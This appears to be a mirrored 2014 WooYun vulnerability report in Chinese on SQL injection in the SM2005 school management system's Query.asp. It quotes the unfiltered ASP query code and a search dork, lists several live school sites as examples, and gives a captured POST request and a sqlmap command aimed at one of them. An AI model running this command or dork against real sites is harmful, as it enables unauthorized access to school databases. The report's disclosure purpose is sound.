乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-05: 细节已通知厂商并且等待厂商处理中 2014-08-10: 厂商已经确认,细节仅向厂商公开 2014-08-13: 细节向第三方安全合作伙伴开放 2014-10-04: 细节向核心白帽子及相关领域专家公开 2014-10-14: 细节向普通白帽子公开 2014-10-24: 细节向实习白帽子公开 2014-11-03: 细节向公众公开
RT
关键词:inurl:/sm2005文件:\jiaoshi\InfoSet\BaseInfo\Query.asp代码
If Request.Form("hidFlag") = "1" Then Dim sXM,sZGH sXM = Request.Form("txtXM") sZGH = Request.Form("txtZGH") Dim sWhere sWhere = "WHERE 1=1" If sXM <> "" Then sWhere = sWhere & " AND XM LIKE '%" & sXM & "%'" End If If sZGH <> "" Then sWhere = sWhere & " AND ZGH LIKE '%" & sZGH & "%'"
很明显的
sXM = Request.Form("txtXM") sZGH = Request.Form("txtZGH")
俩处没有做过任何处理直接带入数据库查询了。
相关案例:http://www.dlwsxx.com/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asphttp://www.hwsyxx.com/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asphttp://www.suyaxing.com:81/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asphttp://www.lcxyz.com:21245/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asphttp://www.zjnksyzx.com:8801/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asp
抓包:
POST /SM2005/jiaoshi/InfoSet/BaseInfo/Query.asp HTTP/1.1Host: www.dlwsxx.comProxy-Connection: keep-aliveContent-Length: 30Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.dlwsxx.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://www.dlwsxx.com/SM2005/jiaoshi/InfoSet/BaseInfo/Query.aspAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDQADCTBAQ=LJPPMNAACLKFEFDHNPPOJCOLhidFlag=1&txtXM=111&txtZGH=111
直接丢到sqlmap中跑吧。
sqlmap.py -u "http://www.dlwsxx.com/SM2005/jiaoshi/InfoSet/BaseInfo/Query.asp" --data "hidFlag=1&txtXM=1111&txtZGH=1111" --dbs
过滤哦,亲~
危害等级:高
漏洞Rank:12
确认时间:2014-08-10 09:30
暂无